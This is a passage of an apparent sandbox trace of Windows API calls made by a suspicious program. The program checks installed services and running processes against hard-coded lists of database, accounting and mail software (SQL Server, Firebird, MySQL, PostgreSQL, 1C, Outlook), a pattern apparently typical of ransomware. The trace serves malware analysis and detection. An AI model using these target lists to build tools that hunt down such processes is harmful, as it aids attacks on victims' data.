(lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0171.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0171.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0171.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0171.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0171.496] lstrlenW (lpString="DcomLaunch") returned 10 [0171.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.496] lstrlenW (lpString="Dhcp") returned 4 [0171.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.497] lstrlenW (lpString="Dnscache") returned 8 [0171.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.497] lstrlenW (lpString="DPS") returned 3 [0171.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.497] lstrlenW (lpString="eventlog") returned 8 [0171.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0171.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0171.497] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0171.497] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0171.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0171.497] lstrlenW (lpString="EventSystem") returned 11 [0171.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.497] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.497] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.498] lstrlenW (lpString="gpsvc") returned 5 [0171.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.498] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.498] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.498] lstrlenW (lpString="iphlpsvc") returned 8 [0171.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.498] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.498] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.498] lstrlenW (lpString="LanmanServer") returned 12 [0171.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.498] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.498] lstrlenW (lpString="lmhosts") returned 7 [0171.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.499] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.499] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.499] lstrlenW (lpString="MMCSS") returned 5 [0171.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0171.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0171.499] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0171.499] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0171.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0171.499] lstrlenW (lpString="MpsSvc") returned 6 [0171.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.499] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.499] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.499] lstrlenW (lpString="Netman") returned 6 [0171.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0171.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0171.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0171.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0171.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0171.499] lstrlenW (lpString="netprofm") returned 8 [0171.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.499] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.499] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.500] lstrlenW (lpString="NlaSvc") returned 6 [0171.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.500] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.500] lstrlenW (lpString="nsi") returned 3 [0171.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.500] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.500] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.500] lstrlenW (lpString="PcaSvc") returned 6 [0171.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.500] lstrlenW (lpString="PlugPlay") returned 8 [0171.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.500] lstrlenW (lpString="Power") returned 5 [0171.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.501] lstrlenW (lpString="ProfSvc") returned 7 [0171.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.501] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.501] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.501] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.501] lstrlenW (lpString="RpcSs") returned 5 [0171.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.501] lstrlenW (lpString="SamSs") returned 5 [0171.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.501] lstrlenW (lpString="Schedule") returned 8 [0171.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.501] lstrlenW (lpString="SENS") returned 4 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.502] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.502] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.502] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.502] lstrlenW (lpString="Spooler") returned 7 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.502] lstrlenW (lpString="SysMain") returned 7 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0171.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0171.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0171.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0171.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0171.502] lstrlenW (lpString="Themes") returned 6 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0171.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0171.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0171.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0171.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0171.502] lstrlenW (lpString="TrkWks") returned 6 [0171.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0171.503] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0171.503] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0171.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0171.503] lstrlenW (lpString="UxSms") returned 5 [0171.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0171.503] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0171.503] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0171.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0171.503] lstrlenW (lpString="WdiServiceHost") returned 14 [0171.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0171.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0171.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0171.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0171.503] lstrlenW (lpString="WdiSystemHost") returned 13 [0171.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0171.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0171.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0171.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0171.503] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0171.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0171.503] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0171.503] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0171.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0171.503] lstrlenW (lpString="Winmgmt") returned 7 [0171.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0171.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0171.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0171.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0171.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0171.504] lstrlenW (lpString="WPDBusEnum") returned 10 [0171.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0171.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0171.504] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0171.504] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0171.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0171.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0171.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0171.506] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.506] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.507] lstrlenW (lpString="System") returned 6 [0171.507] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0171.507] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0171.507] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.507] lstrlenW (lpString="smss.exe") returned 8 [0171.507] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0171.507] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0171.508] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.508] lstrlenW (lpString="csrss.exe") returned 9 [0171.508] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0171.508] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0171.508] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0171.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0171.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0171.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0171.508] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.509] lstrlenW (lpString="wininit.exe") returned 11 [0171.509] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0171.509] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0171.509] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.511] lstrlenW (lpString="csrss.exe") returned 9 [0171.511] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0171.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0171.511] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0171.511] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0171.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0171.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0171.511] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.511] lstrlenW (lpString="winlogon.exe") returned 12 [0171.511] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.512] lstrlenW (lpString="services.exe") returned 12 [0171.512] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.512] lstrlenW (lpString="lsass.exe") returned 9 [0171.512] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0171.512] lstrlenW (lpString="lsm.exe") returned 7 [0171.513] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.513] lstrlenW (lpString="svchost.exe") returned 11 [0171.513] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.513] lstrlenW (lpString="svchost.exe") returned 11 [0171.513] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.514] lstrlenW (lpString="svchost.exe") returned 11 [0171.514] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.514] lstrlenW (lpString="svchost.exe") returned 11 [0171.514] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.514] lstrlenW (lpString="svchost.exe") returned 11 [0171.514] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.515] lstrlenW 